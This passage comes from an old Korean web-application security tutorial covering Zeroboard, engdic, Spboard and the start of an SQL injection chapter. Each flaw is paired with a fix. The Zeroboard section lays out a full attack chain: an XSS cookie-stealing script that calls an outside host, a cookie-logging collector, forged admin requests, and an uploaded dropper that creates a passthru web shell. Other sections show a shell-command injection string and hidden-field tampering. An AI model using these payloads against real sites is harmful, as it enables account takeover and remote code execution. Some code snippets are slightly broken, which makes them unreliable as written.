    가령 beist 라는 사람이 글 쓴 것들에 대해서 보고 싶다는 주어진 검색식으로
    추적을 시작하면 beist 의 IP 와 어떤 게시판에다 글을 썼는지 그런 정보들이
    나오게 된다.

    trace.php 에서는 어떤 식으로 사용 권한 체크를 하는지 알아보자.

    trace.php 소스 설명 공격 설명

    1 $member=member_info();
    2 if($member[is_admin]>1||$member[level]>1)
    3 Error("최고 관리자만이 사용할수 있습니다");

    1 번 라인에서는 member_info 를 불러오고 그 리턴값을 $member 에 저장한다.
    2 번 라인의 조건식은 만약 admin 이 아니라면 3 번 라인에서 Error 를 출력하도록
    한다.

    trace.php 의 실제 이용방법을 알아보자.

    1 telnet targetip 80
    2 get http://targetip/zboard/admin/trace.php?keykind[0]=name&keyword=이승진
    HTTP/1.0
    3 Cookie: zetyxboard_userid=test; zetyxboard_password=아무거나;

    결과 :

    test1 게시판

    [kekek] test (2001-12-05 21:40:04 / beist-ip)
    [kekek] tet (2001-12-05 21:42:25 / beist-ip)
    [kekek] asdf (2001-12-05 21:44:40 / beist-ip)
    [kekek] asdf (2001-12-05 21:46:23 / beist-ip)
    [kekek] vvvvv (2001-12-05 21:47:00 / beist-ip)

    2 번라인에서는 keykind[0]=name 을 주어서 keyword 검색을 이름으로 하겠다고
    전하고 이름에 이승진을 넣은 것이다.

    keykind 의 종류는 다음과 같다.

    keykind[0]=name
    keykind[1]=email
    keykind[2]=ip
    keykind[3]=subject
    keykind[4]=memo

    위와 같은 keykind 로 검색할수 있고, keyword 에는 검색할 내용만 적으면 된다.
    예를 들어 keykind[1]=email 로 지정해두었다면 keyword 에 beist@hanmail.net
    이라고 적으면 된다.

    하지만 이 방법으로는 게시판을 보거나 게시물을 추적할 수 있지만 명령어를 실행
    하지는 못한다. 웹에서 해커의 궁극적인 목표는 명령어 실행이지 않은가?

    이제부터 명령어 실행의 버그들에 대해서 알아보겠다. zeroboard 에서는 admin
    메뉴에서 header 와 footer 에 (게시판의 머리말과 꼬리말 정도이다.) admin 이
    원하는 특정 파일을 지정을 할 수가 있다. 보통은 인사말이나 특정 페이지를
    같이 넣고 싶을때 header 와 footer 를 사용하지만 cracker 는 이 것을 이용하여서
    명령어 실행을 할 수 있다. (header 와 footer 의 파일은 zboard.php 에서
    include 합니다. 즉 zboard.php 파일이 웹에서 읽어질때 head 와 foot 에 include
    한 파일을 뿌려주는 것이다.)

    먼저 제로보드의 특정 자료실에 악의적인 파일을 하나 올린다.

    <?
    system("echo -n \" <? passthru(\$\" > imnotj.php");
    system("echo -n \"cmd); ?>\" >> imnotj.php");

    echo "<font size=5>keke";
    ?>

    <? passthru($cmd); ?>

    이 소스의 기능은 imnotj.php 라는 악의적인 스크립트를 하나 생성한다. imnotj.
    php 에 담기는 내용은 <? passthru($cmd); ?> 가 될 것이다. imnotj.php 의
    기능은 서버에서 해커가 원하는 특정 명령어를 실행할 수 있게끔 된 소스이다.

    자료를 올릴 때 제로보드의 필터링에 걸리면 안될것이다? 제로보드는 php, html, php3
    같은 확장자의 파일을 못 올리게 필터링을 한다. 그래서 위의 코드가 담긴 확장자를
    txt 로 저장하고 서버에 올리자. (txt 를 필터링하는 자료실은 아무데도 없을것이다)
    굳이 txt 확장자가 아닌 zip 이나 jpg 같은 확장자도 상관은 없다.

    만약 test.txt 라는 파일을 올렸다면 서버 상에서 /webdirectory/zboard/data/test.
    txt 라는 곳에 위치할 것이다. (webdirectory 는 가상으로 만들어 낸 것이며 실제
    로는 /home/beist/public_html 정도가 나올 것이다.)

    그리고 admin 메뉴에서 header (혹은 footer) 에 /webdirectory/zboard/data/test.
    txt 라고 지정을 하면 zboard.php 에서는 test.txt 를 include 할 것이다. 위와
    같은 코드를 include 하였으니 웹에서 zboard.php 파일을 열때 imnotj.php 라는
    파일이 생성될 것이다.

    그렇다면 admin 메뉴에는 어떻게 들어갈 것인가? admin 메뉴는 말 그대로 admin 만
    들어갈 수 있다. admin 암호가 없으면 못들어간다는 이야기이다. 그래서 우리는
    admin 암호를 알아내야 한다. 쿠키 스니핑을 이용해야겠다. 하지만 zero
    board 에서는 password 를 암호화해서 저장하기 때문에 쿠키 스니핑으로 암호를
    빼온다고 해도 login 페이지에서 암호를 입력할 수가 없다. (암호화된 문자열을
    crack 하여서 원래의 암호 문자열을 얻을 수도 있겠지만 그 방법은 너무 오래걸리고
    가능성도 희박한 방법이다. 암호가 쉽지 않은한)

    그래서 우리는 쿠키스니핑으로 암호를 빼오고, login 페이지에 암호를 넣는 것이
    아니라 실제 admin 페이지에 직접적으로 Cookie 값을 전달해야 한다.

    어떤 식으로 admin 의 password 를 빼올 수 있는 지 살펴보자.

    자바 스크립트를 써서 쿠키를 빼올 것이다. 자바 스크립트를 게시판이나 쪽지에
    쓰면 되는데 여기에선 쪽지를 이용하는 방법을 사용하겠다. zeroboard 의 쪽지
    기능을 이용하여 admin 에게 쪽지를 보낸다. html 사용에 check 를 하고..

    java-script 로 쿠키를 빼오는 스크립트

    -----------------------------------------------------------------------------

    1 <script language=java-script>
    2 window.open("http://beist.org/test.php?cook="+document_.cookie);
    3 </script>
    4 HELLO ADMIN!

    -----------------------------------------------------------------------------

    1 번째 라인은 java-script 를 사용할 것이라고 선언을 하는 것이고 2 번째 라인은
    http://beist.org/test.php 의 스크립트를 웹브라우저의 document_.cookie 를 인수로
    여는 것이다. 보통 CGI 는 다음과 같은 방식으로 인수를 전달한다.

    sample CGI script

    echo.php

    <? echo "hello $insu"; ?>

    위의 echo.php 는 $insu 라는 변수를 출력해주는 스크립트이다. 웹브라우저에서
    http://beist.org/echo.php?insu=beist 이런 식으로 페이지를 요청하면 echo.php
    에서는

    hello beist

    라는 문자열을 되돌려준다.

    쿠키를 빼오는 스크립트인 test.php 의 인수의 이름으로 cook 을 주었고 그 값에는
    현재 웹브라우저의 cookie 값이 담겨 있는 document_.cookie 를 지정하여 주었다.
    zeroboard 에서 admin 에게 담기는 cookie 는 다음과 같은 값이다.

    zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

    (zetyxboard_password 의 값은 임의로 설정한 값이다.)

    이제 test.php 에서는 넘어온 인수를 처리해야 한다. 예를 들어 넘어온 쿠키값을
    서버에 저장하는 방법등을 사용해야 한다.

    test.php

    <?
    $fp=fopen("/tmp/zerohack", "a++");
    fputs(" 제로보드 쿠키값 $cook\n");
    ?>

    간단한 스크립트이다. test.php 는 /tmp/zerohack.txt 을 열어서 넘어온 인수값인
    $cook 을 집어넣는다.

    넘어온 쿠키값이 만약

    zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

    라고 하면 /tmp/zerohack.txt 에는

    제로보드 쿠키값 zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

    이 담기게 될것이다.

    이제 넘어온 쿠키값을 이용하여 admin 페이지에 직접 Cookie 를 보내 접속을 하는
    방법을 알아보자.

    여기서는 telnet 을 이용하겠다. telnet 으로 상대방의 웹서버에 접속을 한다.
    (보통 웹서버는 80 번 포트를 쓴다.)

    1 telnet targetip 80
    2 Trying targetip ...
    3 Connected to targetip.
    4 get http://targetip/zboard/admin_setup.php HTTP/1.0
    5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

    어쩌고.. 저쩌고..
    .................
    .................

    (위에서 1, 4, 5 번 라인은 직접 입력해야 하는 부분이다.)

    설명을 하자면 1 번 라인은 targetip 의 80 번 포트로 연결을 시도하겠다는
    의미이고 4 번 라인은 target 의 /zboard/admin_setup.php 라는 파일을 열겠다는
    의미다. 그리고 5 번 라인은 zetyxboard_userid 와 zetyxboard_password 를
    쿠키로 보내겠다는 의미다.

    그러면 admin_setup.php 에서는 admin 인증을 할 것이다. 만약 password 가 맞다면
    해커는 무사히 통과를 하고 admin_setup.php 를 볼 수 있을 것이다.

    위에서 설명한 header 나 footer 에 test.txt 라는 파일을 지정하려면 어떻게
    해야하는지 알아보자.

    1 telnet targetip 80
    2 Trying targetip ...
    3 Connected to targetip.
    4 get http://targetip/zboard/admin_setup.php?no=3&exec=view_board&
    exec2=modify_ok&page=1&group_no=1&name=haha&skinname=zero_cyan&
    only_board=1&header_url=/var/www/html/zboard/data/test.txt&use_html=1&
    memo_num=20&cut_length=0&bg_color=white&table_width=95&page_num=10&
    header=<div%20align=center>&footer=</div> HTTP/1.0
    5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

    4 번 라인만 설명하겠다. admin_setup.php 의 인수로 여러개가 들어갔다.
    주요 인수를 말하자면 exec2 와 no, 그리고 header_url 이다. no 는 게시판의
    번호를 뜻한다. (게시판이 여러개 있을때 각각의 고유번호가 있다.)
    exec2 는 admin_setup.php 페이지를 어떤 mode 로 열 것인지 선택하는 것이다.
    여기서는 modify_ok mode 로 열었다. 가장 중요한 header_url 은 header
    file 로 어떤 것을 지정할 것인지 선택하는 부분이다. 여기서 지정한 header
    file 은 /var/www/html/zboard/data/test.txt 이다. 이제 include 하였으니
    zboard.php 를 열때 test.txt 스크립트가 작동이 되면서 imnotj.php 라는
    파일이 생성이 될 것이다.

    이제 해커는 imnotj.php 파일을 통해서 서버에 특정 명령을 실행시킬 수 있다.

    ex)

    http://targetip/zboard/data/imnotj.php?cmd=whoami
    결과 = nobody

    이상이 zeroboard 에서 쿠키 스니핑, 쿠키 스푸핑, 잘못된 알고리즘을 이용한
    공격 방법이다.

    해결책을 알아보자.

    쿠키 스니핑

    먼저 Cookie Sniffing 에 대한 대책을 알아보자. Cookie Sniffing 은 Cracker
    가 TAG 를 쓸수 있는 환경하에서 이루어진다. Cookie 는 Web Browser 에 담기게
    되는데 Cookie 를 감출 수도 없는 노릇이고 Cookie 사용을 불가피하게 해야하는
    경우의 대처법은 사용자가 TAG를 쓸 수 없도록 해야한다.

    거의 모든 TAG 의 시작은 < 로부터 시작한다. 그래서 <를 없애거나 &lt; 문자로
    치환시키는 방법이 좋다.

    eregi_replace("<", "&lt;", $comment);

    이런 식으로 $comment 의 내용중에 < 가 존재한다면 &lt; 로 바꾸게 끔 만들어
    주었다.

    쿠키 스푸핑

    Cookie Spoofing 에 대한 대책을 알아보자. Cracker 가 Admin 의 Cookie를 가져와서
    Cookie Spoofing을 이용해 Admin Menu 에 접근하게 된다. 첫 번째로 Cookie를
    도둑맞지 않기 위해 Cookie Sniffing을 막는 것이 중요하지만 Cookie를 도둑맞았을때의
    경우도 대비해야 할 것이다.

    필자는 이에 대한 대비로 Cookie 만을 쓰는 것이 아니라 Cookie + Session 의 조합을
    사용하길 바란다. 하지만 Cookie 만을 쓰려고 할때의 필자가 생각하는 대응책을 설명
    하겠다.

    위의 Zeroboard 의 경우에서 보면 현재 접속되어 있는지 확인하는 부분이 있다.
    now_table 에 해당하는 ID 가 있으면 통과하는 것이고 없으면 통과를 못하는 것인데
    table 의 구조를 약간 변형하여 IP 도 담는 것이다.

    예를 들어 $userip 라는 변수를 선언하고 이 변수는 사용자로부터 입력을 받지
    않고 PHP 환경변수인 $REMOTE_ADDR을 이용하는 것이다. 이렇게 하면 cracker 가
    admin_setup.php?userip=속일IP 이런식으로 접근을 해와도 서버에서는 $REMOTE_ADDR
    로 체크를 하기 때문에 피할 수 없게 된다.

    여기서는 간단하게 소스를 만들어보겠다.

    $userip=$REMOTE_ADDR;
    $check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
    user_id='$cookie_userid' and userip='$userip'"));

    하지만 이 방법에도 약간의 취약성은 존재한다. Admin 이 NAT 같은 환경하에서
    접근하였을때 그 안에 있는 computer 들도 외부로 나갈땐 같은 IP 이기 때문에 Cracker
    가 NAT 내부에 접근하였을 경우에 위의 인증을 회피할수도 있을 것이다.

    그렇지만 위의 방법으로 체크를 한다면 Cracker 가 Hacking 하는데 훨씬 더 어려움과
    수고를 하게 할 수 있다.

    잘못된 알고리즘

    여기서 말하는 잘못된 알고리즘은 lib.php에서 member_info 함수이다. $member 로
    return 할때 없는 값일 경우 0 이 되어 trace.php 같은 file을 실행 할 수 있는 것인데
    이에 대한 해결법으로는 now_table에서 해결하는 방법이 더 좋지만 간단하게 하려면
    다음과 같이 하자.

    $member=mysql_fetch_array(mysql_query("select * from $member_table where
    user_id='$cookie_userid' and password='$cookie_password'"));
    if(!$member)
    {
    echo "죄송합니다. 당신의 Cookie 에 맞는 Data 가 없군요.“;
    exit;
    }

    Web CGI 든 일반 어플리케이션 프로그램이든 마찬가지이지만 잘못된 알고리즘
    하나로 인해 Server 에 치명적인 Security Hole을 만들 수 있다는 것을 기억하자.

    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    10) CGI admin 메뉴 주의할점

    이번에는 Web CGI 에서 Admin 메뉴를 다룰 때 주의해야 할 점들을 설명
    하겠다. Web CGI 에는 대부분 Admin 메뉴 (혹은 기능이) 가 존재한다.
    간단하게 방명록, 자료실부터 시작하여 자료 관리 같은 기능이라던지 여러
    CGI 에는 Admin 메뉴가 거의 필수이다.

    Admin 을 인증하는 방법에는 어떤 것이 있을까. 각 Page 의 앞부분에 Admin
    인지 아닌지 체크하는 문법을 넣을 것이다. (조금 더 자세한 인증 방법은
    8 번 장을 참고하여라)

    다음은 Admin 알고리즘 사용시 주의해야 할 것들이다.

    1. Admin Cookie 세팅시에 암호화 사용
    2. IP 를 가져와 인증에 사용
    3. Cookie Sniffing 못하게 막음

    위의 조취를 취했는데도 Cracker 가 Admin 을 획득하였을때에 대한 대비를
    알아보겠다.

    Cracker 가 Admin 을 땄어도 Cracker 가 할 수 있는 일을 최소화 시켜야
    한다. 즉, 본래의 CGI Admin 으로서 불필요한 기능은 CGI 에 넣지 말라는
    것이다.

    예를 들어 Board 에서 Header 와 Footer File 지정에 대해서 알아보자.
    (이 것은 게시판의 머리말과 꼬리말에 들어갈 말을 미리 File 로 정해
    놓는 기능이다.)

    대부분의 Board 에서는 이런 식으로 처리한다.

    include "$header_file";

    (여기서 $header_file 은 Admin 이 Web 상에서 지정해줄 수 있다고 가정한다.)

    만약 Cracker 가 Admin 을 획득 후 header_file 을 /etc/passwd 로 지정
    한다면 게시판의 머리말에는 해당 Server 의 passwd File 이 그대로 보이게
    될 것이다.

    그리고 Cracker 가 악의적인 기능을 하는 일반 Text File 을 올린 후, 그것을
    include 하면 그것은 정상적으로 돌아가는 PHP File 이 된다.
    (include 시에 제한하는 확장자는 없다는 것을 알아두자.)

    이러한 문제점을 극복하려면 어떻게 해야할까.

    $fp=fopen("$header_file", "r");

    while(!feof($fp))
    {
    $msg .= fgets($fp,100);
    }

    $msg=nl2br($msg);

    echo $msg;

    위의 방법에서는 Source 를 include 하지 않고, read 한 후 echo 를 하는 방법을
    사용하였다. (물론 이렇게 하였을때 정상적인 php 파일을 include 하면, 돌아가지
    않는다는 단점이 있다.)

    이러한 Admin 기능 말고도 제한하여야 할 기능들은 많이 있다. 가령, Web Root
    Directory 밖은 벗어나지 않게 한다던지, System Command 를 이용할 수 없게끔
    한다던지 하는 것들이 있다.

    여기에서는 Board 를 예를 들어서 설명을 하였는데, 개발자라면 이 글을 보고
    Admin Menu 에 어떤 기능을 제한해야 할것인가, 어떻게 하면 Server 의 다른 부분
    에 접근하는 것을 최소화 할 것인가, 하는 방법들을 떠올릴 수 있을 거라 생각하고
    이 장을 여기서 접겠다.










    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    11) popen 함수의 주의할점

    PHP 에서 popen() function 은 Process File Pointer 를 open 하는 것이다.
    함수의 원형은 다음과 같다.

    int popen(string command, string mode);

    fopen 함수와 다른 점은 이 것은 file 이 아닌 Process 를 open 한다는 것이다.
    (물론 OS 내부적으로는 File 이나 Process 나 크게 다르지 않게 처리된다.)
    그리고 읽거나 쓰기 둘중에 하나만 선택할 수 있는 단방향 Pointer 이다.

    string command 를 인자로 popen 을 불르면 command 안에 담긴 내용을 Server 에서
    실행하게 된다. 하지만 이 Function 역시 system, exec 함수와 같이 잘못 사용할시에는
    서버에 심각한 Security Hole 을 만들게 한다.

    실제로 존재하는 CGI 의 취약성을 대상으로 설명을 하겠다. engdic 이라는
    프로그램으로 Web 에서 영어사전 기능을 하는 프로그램이다.

    engdic 에서 중요 취약성이 되는 부분만을 뽑아내어 설명하였다.

    engdic.php

    1 if($mode== 'search')
    2 {
    3 // $word를 아규먼트로 하여 edic을 실행하여 결과값을 $fp 에 저장합니다.
    4 $fp = popen( "/usr/bin/edic_ $word", "r");
    5
    6 // $fp 의 EOF를 만날때까지 값을 읽어들여 edic_str 에 추가를 합니다.
    7 while(!feof($fp))
    8 {
    9 $edic_str .= fgets($fp,100);
    10 }
    11 pclose($fp);
    12 // return 값을 <br> 로 바꾼다.
    13 $edic_str = nl2br($edic_str);
    14 // 화면에 출력을 한다.
    15 echo( "
    16 <table border='0' cellpadding='2' cellspacing='0' width='70%'>
    17 <tr>
    18 <td width='90%'><p><br>
    19 <font size='2'>$edic_str</font></td>
    20 </tr>
    21 </table>");
    22 }

    /* 쉽게 설명하기 위해 각 줄의 앞에 번호를 달았다. 처음 if 문은 무시하자.
    4 번째 라인에서 popen 함수를 이용하여 /usr/bin/edic 프로그램을
    open 하려 했다. edic 프로그램의 argument 를 $word 라는 변수로 주었다.
    7 번째 줄부터는 popen 으로 연 pointer 를 $edit_str 에 담고 출력한다. */

    위의 코드에서 취약한 부분은 4 번째 줄이다. popen 을 할때 /usr/bin/edic 을
    실행시키는데 $word 가 인수로 들어가게 된다. $word 는 사용자로부터 입력받는
    변수이다. 예를 들어 검색폼에 사용자가 help 라고 한다면, help 에 맞는 뜻을
    사용자에게 돌려주게 된다. /usr/bin/edic 을 이용하여 help 의 뜻을 검색하는
    것이다. process open 은 shell 을 이용하게 된다. shell 에서 ; 와 | 는 각각
    연속 실행, 연결 실행을 의미한다.

    그래서 만약에 cracker 가

    http://server/engdic.php?word=help;/usr/bin/touch /tmp/imbeist

    라고 요청을 한다면 help 라는 단어를 /usr/bin/edic 에서 찾고 세미콜론으로
    구분된 뒤의 /usr/bin/touch /tmp/imbeist 를 실행하게 된다. /usr/bin/touch
    의 기능은 그 file 의 갱신일을 갱신하는 기능인데 만약에 file 이 없다면
    파일을 새로 생성하게 된다. 그러면 파일이 생겼는지 확인을 해보자.

    $ ls -al /tmp/imbeist
    -rw-rw-rw- 1 nobody nobody 6 Dec 5 03:25 imbeist

    생성이 되었다. cracker 는 서버에 명령을 실행시킬 수 있으므로 자신에게
    term 을 뛰우던가 port 를 하나 열어서 backdoor 를 만들수도 있을 것이고
    일단 shell 을 내준 이상 local 을 점령하는건 그리 어려운 일은 아니다.

    해결책을 알아보자.

    위의 해결책에는 여러가지 방법이 있다. 위의 상황일때는 앞에 escape 문자를
    붙여서 세미콜론을 무시하는 방법도 있겠지만 나는 다른 방법을 추천한다.

    예를 들어 $word 변수에는 ; 와 | 가 있을 이유가 없다. (단어에 ; 나 | 가
    들어가는 단어가 있는가?)

    그래서 $word 변수에 ; 와 | 가 있다면 일단 의심을 해야한다. 만약에 두
    문자가 존재한다면 script 실행을 중지하자면

    if(ereg(";", $word))
    {
    echo "장난하니..";
    exit;
    }

    if(ereg("|", $word))
    {
    echo "장난하니..";
    exit;
    }

    ereg_replace 를 이용하여 ; 나 | 를 "" 빈칸으로 만드는 방법도 괜찮다.
    나는 개인적으로 이러한 문제를 처리할때 미연에 방지하는 것이 (예를 들면
    스크립트 중지) 좋은 방법으로 생각한다.




    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    12) html hidden 사용시 주의할점

    이번 주제에서 다룰 내용은 HTML 에서 hidden type 에 관한 내용이다.
    때때로 어떤 CGI 들은 <input type=hidden> 을 이용하여 어떤 DATA 를 숨겨(?)
    놓는 경우가 있다. 이는 매우 위험한 방법이고 어떤 경우에는 심각한 Security
    Hole 을 일으킬 수도 있다.

    먼저 간단한 경우부터 살펴보자.

    Spboard 4.5 버전 이하에서는 글쓴이의 IP 를 입력받을 때 사용자가
    writeform 을 요청했을때의 IP 를 기준으로 hidden 에 심어놓는다.
    (아래에서 설명하는 소스들은 BUG 를 설명하는데 이해하기 쉽도록 PHP 로
    바꿔서 설명하였다.)

    sample1.html

    <html>
    <head>
    <title>spboard 글쓰기 폼</title>
    </head>
    <body>
    <form action=board.php method=post ENCTYPE="multipart/form-data">
    <input type=text name=name>
    <input type=text name=subject>
    <textarea name=comments></textarea>
    <input type=hidden name=id value=test>
    <input type=hidden name=action value=write>
    <input type=hidden name=ip value=192.168.0.5>
    <input type=submit value=글쓰기>
    </form>
    </body>
    </html>

    board.php

    <?

    /* 생략 */

    $fp=fopen("$count.txt", "w");

    fputs($fp, $ip);

    /* 생략 */

    ?>

    html 에서 보다시피 ip 가 hidden 으로 들어가 있다. 이런 상황일때 Cracker 는
    임의로 ip 에서 value 값을 수정하여 board.php 로 데이터를 보낸 후 글쓰기를
    시도할 수 있을 것이다. board.php 에서는 사용자가 넘긴 변수인 $ip 를 가지고
    data 를 처리하기 때문이다.

    만약 ip 를 국가기관쪽으로 돌려서 나쁜 내용의 글을 쓴다거나 악의적인 행동을
    할수도 있을 것이다. 이런 버그의 류에서 이 방법은 애교에 불과하다.

    어떤 경우에 따라서는 System Command Execute 까지 가능한 심각한 Security
    Hole 을 불러올 수도 있다.

    그럼 이번엔 다른 경우를 알아보자.

    예를 들어 포탈 사이트에서 쪽지 기능을 하는 경우로 하자. 이 포탈 사이트에서는
    쪽지 database 를 File db 를 사용하고 있다고 가정하자.

    쪽지 보내기 html form 을 보자.

    <html>
    <head>
    <title>이 것은 쪽지 보내기 폼입니다.</title>
    <body>
    <form action=memo.php method=post>
    받는이 : beist<br>
    쪽지 내용 : <textarea name=comment></textarea><br>
    <input type=hidden name=directory value="user/memo">
    <input type=hidden name=rfile value="recv.txt">
    <input type=hidden name=ruid value=11111111>
    <input type=hidden name=rserver value=memo1.server>
    <input type=hidden name=rid value=beist>

    <input type=hidden name=suid value=22222222>
    <input type=hidden name=sserver value=memo2.server>
    <input type=hidden name=sid value=testid>
    <input type=hidden name=sfile value="send.txt">
    <input type=submit value=쪽지보내기>
    </form>
    </body>
    </html>

    Hacker 나 Cracker 라면 이 소스를 보고 무엇인가 감을 잡았을 것이다. hidden
    으로 이런 정보를 보내는 것으로 보아 memo.php 에서는 hidden 에서 보내는 값을
    신뢰하여 쪽지 data 를 처리하는 것이라고 말이다.

    한번 테스트를 해보자.

    [요청]
    http://memo1.server/user/memo/11111111/recv.txt

    [결과]
    beist 님 안녕하세요?
    승진 안녕?
    야 임마~

    예상대로이다. hidden data 에 있는 rserver 로 접근을 하고, directory 와
    ruid 에 있는 대로 접근을 하니까 우리는 상대방의 쪽지를 볼 수도 있었다.
    (여기서는 이해를 쉽게 하기 위해 hidden data 에 최대한 많은 정보를 수용
    하게끔 소스를 작성한 것이고, 실제로는 저렇게 자세한 정보를 포함하지는
    않지만 조금만 연구하면 위의 테스트와 같은 결과를 얻을 수 있다.)

    또 send.txt 를 요청하면 상대방이 다른 사람에게 보낸 메모들이 어떤 내용이
    있는지 알 수 있을 것이다.

    [요청]
    http://memo1.server/user/memo/11111111/send.txt

    [결과]
    나 승진인데~ 요즘 잘지내니?
    야 임마~ 연락좀 해~!

    성공이다. 상대방의 send.txt 와 recv.txt 를 보는 방법이외에도 suid 나
    sid 등을 조작하여 내가 보내지 않은 것처럼 위조도 가능할 것이다.

    또, rfile 이나 sfile 을 조작하여 시스템의 다른 file 들도 read, write 가
    가능할 것이다. (권한만 가능하다면 말이다.)

    조금 더 응용을 하여보면 System Command Execute 까지 어렵지 않게 가능하지만
    이 문서는 Cracking 방법이 아니니 여기서 설명을 접도록 하겠다. 간단히 설명
    하자면 rfile 을 바꾼 후에, memo 내용에 악의적인 스크립트의 내용을 담으면
    되겠다.

    해결책을 알아보자.

    우리는 이런 버그를 통해서 hidden 에 중요한 data 를 넣으면 보안에 심각한
    문제가 발생할 수도 있다는 것을 알아보았다.

    이 문제를 해결하는 가장 좋은 방법은 다음과 같은 인식을 갖는 것이다.

    '사용자가 보내온 data 를 100% 신뢰하지 말아라.'

    첫번째 spboard 같은 경우에는 board.php 에서 다음과 같이 수정하면 될 것이다.

    <?

    /* 생략 */

    $ip=$REMOTE_ADDR;

    $fp=fopen("$count.txt", "w");

    fputs($fp, $ip);

    /* 생략 */

    ?>

    $REMOTE_ADDR 은 환경변수로, 접속한 사용자의 IP 를 뜻한다.

    두번째 쪽지 문제의 경우 해결법을 살펴보자.

    먼저, hidden 에서 directory 와 rfile, sfile 는 사용자 html hidden 으로 주지
    말고 memo.php 에서 정의해두자.

    $directory="user/memo";
    $rfile="recv.txt";
    $sfile="send.txt";

    이렇게 해두면 rfile 과 sfile 은 사용자 마음대로 바꿀수 없게 될 것이다.

    그리고 보내는이에 대한 모든 data 는 Cookie 나 Session 을 이용하도록 하자.
    Session 에 사용자의 id 나 uid 를 저장시켜놓은 후에 가져오는 것이다.

    rserver 는 다음과 같은 문법 등으로 database 에서 가져오도록 하자.

    select rserver from user_rserver;

    이렇게 하면 보내는 이나 받는 이에 대한 정보 조작은 어느 정도 해결이 될 것
    이다. 이렇게 하면 cracker 는 쪽지에 대한 경로를 모를 것이다. 하지만
    cracker 가 쪽지에 대한 경로를 brute force 라도 해서 알아버렸다고 가정하였을때
    의 대처법도 알아보자.

    먼저 쪽지 내용이 담기는 file 이 놓인 디렉토리에 특정 설정을 한다. 그 설정이란
    httpd.conf 에서 그 디렉토리 밑에 있는 것은 읽지 못하도록 설정하는 것을 말한다.
    (httpd.conf 는 Webserver 의 한 종류인 Apache 의 설정 File 을 말한다.)

    httpd.conf

    <DirectoryMatch "^/.*/user/memo">
    AddType application/x-httpd-php-source .phps .php .ph .php3 .cgi .sh .pl
    .html .htm .shtml .vbs .ins .inc .py

    Options FollowSymLinks
    AllowOverride None
    Order allow,deny
    Deny from all
    </DirectoryMatch>

    이렇게 하면 user/memo 디렉토리 밑에 담기는 file 들은 Web 에서 바로 읽을 수가
    없게된다.

    [요청]
    http://memo1.server/user/memo/11111111/recv.txt

    [결과]
    Forbidden

    You don't have permission to access /user/memo/11111111/test.txt on this server.

    Web 에서 바로 읽을 수 없게 설정을 해놓았으니 특정 스크립트를 만들어서 File 을
    뿌려주도록 하자.

    if(file_exists($file_path))
    {
    $filesize = filesize($file_path);

    if(strstr($HTTP_USER_AGENT,"MSIE")) {
    header("Content-Type: doesn/matter\r\n");
    header("Content-Disposition:filename=$filename_link\r\n\r\n");
    header("Content-Transfer-Encoding: binary\r\n");
    header("Pragma: no-cache");
    header("Expires: 0");
    }

    else
    {
    Header("Content-type: application/zip");
    Header("Content-Disposition:attachment;filename=$filename_link");
    Header("Content-Description: PHP Generated Data");
    Header("Content-Length: $filesize");
    header("Pragma: no-cache");
    header("Expires:0");
    }

    $fp = fopen($file_path, "r");
    fpassthru($fp);
    }

    위의 각 변수에 대해서 특별한 설명은 하지 않겠다. 각 변수의 이름을 보고 이 변수가
    어떤 기능을 하는 변수인지 짐작할 수 있을 것이다. 중요한 부분은 fopen 과 fpassthru
    가 쓰인 부분이다. fopen 으로 file 을 연후에 fpassthru 로 file 의 끝까지 뿌려주게
    된다.

    이상이 해결책이다. 다시 한번 강조하지만 Client 가 보내는 Data 는 100% 신뢰해서는
    안된다.
    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    13) sql 과 cgi 연동시 주의할점

    이번 장에서는 SQL 과 CGI 연동 시에 일어날 수 있는 문제점을
    알아보겠다. SQL 은 Structured Query Language 의 약자로 구조적 질의어를
    뜻한다. SQL 은 Database 의 한 종류인데 WEB CGI 를 만들때 가장 많이
    쓰이는 Database 중의 하나이다.

    SQL 을 통해서 CGI 는 정보를 조회하거나, 갱신, 추가, 삭제를 할 수가
    있다.

    SQL 에는 database 와 그 안에 존재하는 table 이 있다. 예제로 beist 라는
    database 의 ttl 이라는 table 에 접근하는 방법을 알아보자.

    1 <?
    2
    3 $dbhost = "localhost";
    4 $dbuser = "uesr1";
    5 $dbpass = "passman";
    6 $dbname = "beist";
    7 $dbconn = mysql_connect($dbhost, $dbuser, $dbpass);
    8 $sel = mysql_select_db($dbname, $dbconn);
    9 $result = mysql_query("show tables", $dbconn);
    10 $i=0;
    11 while ($row=mysql_fetch_row($result)) {
    12 echo "$row[$i]<br>";
    13 $i++;
    14 $i=0;
    15 }
    16
    17 ?>

    간단한 내용이지만 잠시 문법을 살펴보겠다. 3~6 번째 줄까지 변수 정의를
    하고 7 번째 줄에서 mysql 에 연결을 하였다. 8 번째 줄에서 beist 라는
    database 를 선택하였고, query 의 내용을 show tables 라고 보내었는데
    이 내용은 beist 라는 database 안에서 존재하는 table 들을 보여달라는
    이야기이다.

    11 번째 줄부터는 show tables query 를 보낸 후에 나온 결과를 뿌려준다.

    [결과]
    testta
    secret
    id1
    tabtab
    ttl
    ...........

    ttl 이라는 table 이 보인다. 이 정도로 Database 연동 방법을 간단하게
    알아보았고, 이제 실질적인 해킹 방법을 알아보자.

    어떤 Board 가 있다. Board 에서는 특정 글의 데이터를 요청하는 문법으로

    select * from freeboard where no=1

    이런 식으로 전달한다. 이 문법은 freeboard table 안에 있는 data 중
    no 필드가 1 인 것을 모두 알려달라는 의미이다. query 를 한 후 가져온
    data 에 대해서는 정렬이나 기타 필요한 일들을 한 후에 사용자에게
    알맞게 보여주게 된다.

    SQL 에서 where 절에 쓸 수 있는 것은 or 와 and 등이 있다. 예를 들어서

    select * from freeboard where no=1 or no=2

    라고 전달하면 no 값이 1 이나 2 인 것을 알려달라고 하는 것이다. 다시
    말하면 두 개의 값을 동시에 요청한 것이다.

    이제 실제 CGI 를 예로 들고 공격 방법을 알아보자.

    Jsboard 에서는 Client 가 특정 글을 요청할때 다음과 같은 문법으로
    검사를 한다.

